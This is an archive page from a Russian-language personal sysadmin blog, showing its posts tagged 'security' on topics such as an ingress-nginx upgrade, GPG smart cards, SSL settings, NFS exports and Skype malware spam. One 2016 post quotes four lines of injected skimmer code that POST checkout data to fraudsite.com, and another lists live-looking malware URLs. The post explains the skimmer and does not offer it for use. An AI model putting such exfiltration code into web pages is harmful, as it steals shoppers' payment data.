Показаны сообщения с ярлыком security. Показать все сообщения
Показаны сообщения с ярлыком security. Показать все сообщения

среда, 26 марта 2025 г.

Грабли при обновлении ingress-nginx до 1.12.1

Вчера срочно обновлял ingress-nginx до 1.12.1 (версия чарта 4.12.1) после новости о критической уязвимости CVE-2025-1974 и наступил на грабли - релиз обновился, но все существующие ingress'ы потеряли привязку к IP адресу балансировщика.

Полез смотреть events в кластере, но там ничего криминального не нашлось. В логах ingress-nginx контроллера присутствовали ошибки вида

E0325 12:26:36.275715       7 store.go:938] annotation group ConfigurationSnippet contains risky annotation based on ingress configuration

но сходу у меня не сложилась связь этих ошибок с отсутствием привязки к IP адресу. А вот когда попробовал пересоздать один из ingress'ов всё стало на свои места

Error: INSTALLATION FAILED: admission webhook "validate.nginx.ingress.kubernetes.io" denied the request: annotation group ConfigurationSnippet contains risky annotation based on ingress configuration

Во всех ингресах присутствовала аннотация nginx.ingress.kubernetes.io/configuration-snippet через которую делается тонкий тюнинг приложений и нет простого способа отказаться от использования этой опции.

четверг, 13 февраля 2025 г.

Сомнительная функциональность от Google

Несколько дней назад столкнулся с аномально быстрым разрядом батареи телефона и его заметным нагревом без какой-либо видимой причины на то. Поначалу я не придал этому значение, но вчера наткнулся на пост и всё встало на свои места.

Для тех кому лень читать по ссылкам - проверьте не установлен ли у вас Android System SafetyCore. Его не видно в списке приложений Play Market и чтобы проверить установлен он или нет, нужно зайти во "Все приложения" в настройках телефона и использовать поиск.

Что это вообще такое? В описании на странице приложения заявлено "Android System SafetyCore is a system service that provides safety features for Android devices.", что в переводе на русский звучит как "Android System SafetyCore это системная служба, обеспечивающая функции безопасности для устройств Android". Другими словами ничего не понятно, но очень интересно.

четверг, 4 мая 2023 г.

Выборка данных из CSV файла

Нужно обработать отчёт сканеров уязвимостей, который CI сохраняет в CSV и HTML. Внутри CSV файла есть следующие колонки

  • Scanner
  • Component
  • Package
  • Type
  • Vulnerability ID
  • Severity
  • Installed Version
  • Fixed Version

Нужно в CI показать краткий отчет со списком найденных уязвимостей, важностью и в каких компонентах есть данная уязвимость.

пятница, 25 ноября 2022 г.

Bitnami Sealed Secrets

Чтобы управлять Kubernetes секретами в духе GitOps нужно их шифровать перед фиксацией в Git и расшифровывать на стороне Kubernetes. Для CI я раньше использовал Mozilla SOPS, а для Kubernetes решил попробовать Bitnami Sealed Secrets.

В Sealed Secrets используется ассиметричная криптография и расшифровать секреты без доступа к приватному ключу не получится - можно коммитить даже в публичный репозитарий, хотя я бы не рекомендовал так делать.

четверг, 26 июля 2018 г.

Рекомендуемые настройки SSL от Mozilla

Нашел хороший генератор настроек SSL от Mozilla. В их wiki есть статья где расписаны три рекомендуемых профиля и возможные ограничения, связанные с их использованием.

Ну и еще раз продублирую ссылку на SSL сканер от Qualys.

четверг, 10 ноября 2016 г.

userauth_pubkey: key type ssh-dss not in PubkeyAcceptedKeyTypes

В Ubuntu 16.04.1 из коробки отключена поддержка DSA ключей (споры на эту тему). Насколько это оправдано - решать вам, но если вам очень нужно ее включить обратно, то добавьте в /etc/ssh/sshd_config строку "PubkeyAcceptedKeyTypes=+ssh-dss".

echo 'PubkeyAcceptedKeyTypes=+ssh-dss' | sudo tee -a /etc/ssh/sshd_config
sudo service ssh reload

После этого можно зайти с DSA ключем.

вторник, 20 сентября 2016 г.

Как тихо и незаметно сливаются данные на сайтах

Началось все с обыденной истории - сайт интернет-магазина, администраторы которого упорно игнорируют установку патчей безопасности, взломали (на сайте есть уязвимость, позволяющая попасть в админку). В шаблон страницы добавили обфусцированный скрипт, который собирал данные со страниц оформления заказа и отправлял их на сторонний сервер.

Код, который отправляет подготовленные данные на сторонний сервер очень прост:

var http = new XMLHttpRequest();
http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+data);

И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:


Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...

пятница, 1 апреля 2016 г.

Протухли ключи на смарт-карте

Довольно долго не пользовался GnuPG и при попытке подписать письмо в Claws-Mail получил ошибку:


Сначала подумал что какая-то проблема со смарт-картой, но gpg2 --card-status правильно определил карту.

Попробовал подписать обычный файл и увидел подробности ошибки.

% gpg2 --output test.txt.asc -ba test.txt
gpg: secret key parts are not available
gpg: no default secret key: Unusable secret key
gpg: signing failed: Unusable secret key

И я бы еще долго гуглил, если бы не посмотрел статус ключей. Оказалось что subkeys на карте истекли, а gnupg внятного описания проблемы не дает. Продление ключей решило проблему.

пятница, 20 ноября 2015 г.

Trusted/Untrusted X11 форвардинг через SSH в Debian

Если вы пользуетесь trusted/untrusted форвардингом X11 через SSH в Debian, то вам стоит помнить, что в Debian оно ведет себя не так, как принято в апстриме.

-X Enables X11 forwarding. This can also be specified on a per-host
basis in a configuration file.

X11 forwarding should be enabled with caution. Users with the
ability to bypass file permissions on the remote host (for the
user's X authorization database) can access the local X11 display
through the forwarded connection. An attacker may then be able
to perform activities such as keystroke monitoring.

For this reason, X11 forwarding is subjected to X11 SECURITY
extension restrictions by default. Please refer to the ssh -Y
option and the ForwardX11Trusted directive in ssh_config(5) for
more information.

Т.е. без явного кручения "ручки" всегда используется trusted режим. Чтобы вернуть привычное поведение нужно задать ForwardX11Trusted=no в ~/.ssh/config или /etc/ssh/ssh_config.

Для справки: в untrusted режиме X11 клиент не имеет доступа к содержимому чужих окон и не может инжектить события клавиатуры/мыши.

понедельник, 17 августа 2015 г.

Windows 10 - big brother is watching you

Трудно сказать насколько правдива информация, но думаю в каждой сказке есть доля правды. Если это так, то Microsoft сильно превзошла Google в слежке за пользователями. Есть большие сомнения, что корпорация сможет обеспечить безопасность всех собранных данных, а такой объем приватной инфы станет лакомым куском для всякой гнуси.

вторник, 11 августа 2015 г.

Отозвал свой старый GnuPG ключ

Подписал ключи с последнего KSP и разослал участникам. Если кому-то не пришло проверьте в спаме или свяжитесь со мной.

Заодно отозвал свой старый ключ 0x2EE7EF82.

понедельник, 13 июля 2015 г.

Новый GPG ключ для моего репозитория

С сегодняшнего дня мой репозиторий подписывается PGP ключем 0x76FB442E (4A49 2741 9308 3320 450B 7E4D 836C C419 76FB 442E). Импортировать ключ в APT можно установив пакет tataranovich-keyring или выполнив команду:

$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 76FB442E

Старый ключ (2EE7EF82, ACBE C1C1 FC07 5E80 359A 7CC2 FE27 2604 2EE7 EF82) будет отозван после проведения июльского KSP в Минске.

среда, 8 июля 2015 г.

среда, 1 июля 2015 г.

Настройка mod_ssl в apache 2.2.x

Поправил дефолтные настройки mod_ssl для Apache 2.2.x

<IfModule mod_ssl.c>
  SSLRandomSeed startup builtin
  SSLRandomSeed startup file:/dev/urandom 512
  SSLRandomSeed connect builtin
  SSLRandomSeed connect file:/dev/urandom 512
  AddType application/x-x509-ca-cert .crt
  AddType application/x-pkcs7-crl    .crl
  SSLPassPhraseDialog  builtin
  SSLSessionCache        shmcb:${APACHE_RUN_DIR}/ssl_scache(512000)
  SSLSessionCacheTimeout  300
  SSLMutex  file:${APACHE_RUN_DIR}/ssl_mutex
  SSLCipherSuite kEECDH+AESGCM+AES128:kEECDH+AES128:kRSA+AESGCM+AES128:kRSA+AES128:!RC4:!aNULL:!eNULL:!MD5:!EXPORT:!LOW:!SEED:!CAMELLIA:!IDEA:!PSK:!SRP:!SSLv2
  SSLHonorCipherOrder on
  SSLProtocol All -SSLv2 -SSLv3
</IfModule>

Если прописать такие настройки в /etc/apache2/mods-available/ssl.conf, то SSL Server Test не выдает дополнительных рекомендаций.

среда, 27 мая 2015 г.

Тестирование SSL/TLS

В процессе фикса Logjam потребовался инструмент для оценки последствий примененного изменения. Нашел сканер от ssllabs. Этот сканер позволяет оценить число клиентов, которые больше не смогут подключиться к серверу. В моем случае это были IE6/WinXP и IE8/WinXP.

пятница, 8 мая 2015 г.

Прототип руткита и кейлоггера, использующие GPU вместо CPU

Прочел новость об анонсе прототипа руткита и кейлоггера, использующих GPU вместо CPU. На CPU происходит только инициализация, а дальнейшая работа идет с использованием процессора видеокарты. Доступ к системной памяти организован через DMA, а данные малвари хранятся в видеопамяти. Подобный подход осложняет обнаружение обычным антивирусом.

В принципе подобная новость уже не первая - что-то похожее уже было для прошивок накопителей и сетевых адаптеров. Просто там было сложнее внедриться.

вторник, 24 марта 2015 г.

Привязка пользователей хоста к определенному пользователю на сервере NFS

Один из недостатков NFSv3 - отсутствие аутентификации пользователей. Доступна лишь авторизация хоста по IP, которую при желании несложно обойти. Если на вашем сервере стоит разрешение для определенного хоста, то ее локальный администратор может создать другого пользователя с нужным uid/gid и тем самым обойти ограничение прав на сервере. Эта проблема решена в NFSv4, но я пока не реализовал все необходимые изменения в инфраструктуре.

Чтобы на NFSv3 исключить возможность обхода авторизации через создание пользователя с произвольным uid/gid я воспользовался следующей уловкой

# cat /etc/exports
/data/sources  host1(rw,sync,all_squash,anonuid=1000,anongid=500,no_subtree_check)
/data/sources  host2(rw,sync,all_squash,anonuid=1001,anongid=500,no_subtree_check)
/data/sources  host3(rw,sync,all_squash,anonuid=1002,anongid=500,no_subtree_check)

Использование all_squash в комбинации с anonuid/anongid привязывает любого пользователя с хоста к определенному uid/gid (который соответствует uid/gid пользователя в LDAP). Однако нужно понимать, что это решение бесполезно в случае подмены IP адреса хоста. В этом случае может помочь использование 802.1x на коммутаторах, но проще перейти к использованию NFSv4.

среда, 11 марта 2015 г.

Описание эксплуатации RowHammer - уязвимости в работе DRAM

Возможно вы уже слышали о RowHammer - особенности в работе DRAM, позволяющей изменить состояние ячеек памяти читая соседние ячейки. На момент анонсирования этой проблемы ее считали трудно эксплуатируемой.

На этой неделе появилось продолжение этой истории в форме описания работы двух эксплойтов. Проверить систему на наличие проблем можно rowhammer-test.

среда, 4 марта 2015 г.

Свежая малварь в skype

Сегодня уже несколько контактов в skype шлют мне однотипные сообщения вроде

лол!!! Andrey Tataranovich видео: http://skyvideotape.ru/video/?n=Andrey%20Tataranovich
Боже мой!!! Andrey Tataranovich видео: http://24onlineskyvideo.info/video/?n=Andrey%20Tataranovich

По ссылке скачивается малварь, которая шлет эти сообщения дальше по списку контактов. Любопытно, что делается помимо размножения.

четверг, 26 февраля 2015 г.

Последняя попытка ввести security pin в смарткарте

Сегодня получил новые ощущения, когда вторая попытка ввести security pin в OpenPGP card закончилась неудачей. Еще одна неправильная попытка ввода security pin'а и карточка превратится в бесполезный кусок пластика, а вариантов пароля у меня штук 5.

User pin я помню хорошо, т.к. карточкой пользуюсь регулярно. А вот сегодня понадобилось изменить одну настройку и ой...

Дефолтные pin'ы на карту я менял вечером перед сном и похоже мало времени уделил заучиванию. В итоге карточкой пользоваться можно, но через год истекут ключи для подписи и шифрования и изменить настройки я уже не смогу.

Похоже пора заказывать новую карточку, пока эта еще работает.

+Viktar Siarhiejczyk подсказал, что OpenPGP card V2 можно сбросить к заводским настройкам, спасибо Verner Koch за рецепт.

UPDATE: Фортуна повернулась ко мне лицом! Я уже все подготовил для сброса карты на заводские настройки, но сначала нужно окончательно залочить карту. Вместо ввода произвольно админского пина я ввел один из возможных вариантов - и этот пин приняло! Оказалось, что изначально я ошибся всего в одном символе.

В итоге я вернул контроль над смарткартой малой кровью, но все еще не знаю возможно ли ее сбросить на заводские настройки... и как-то не тянет это проверять сейчас.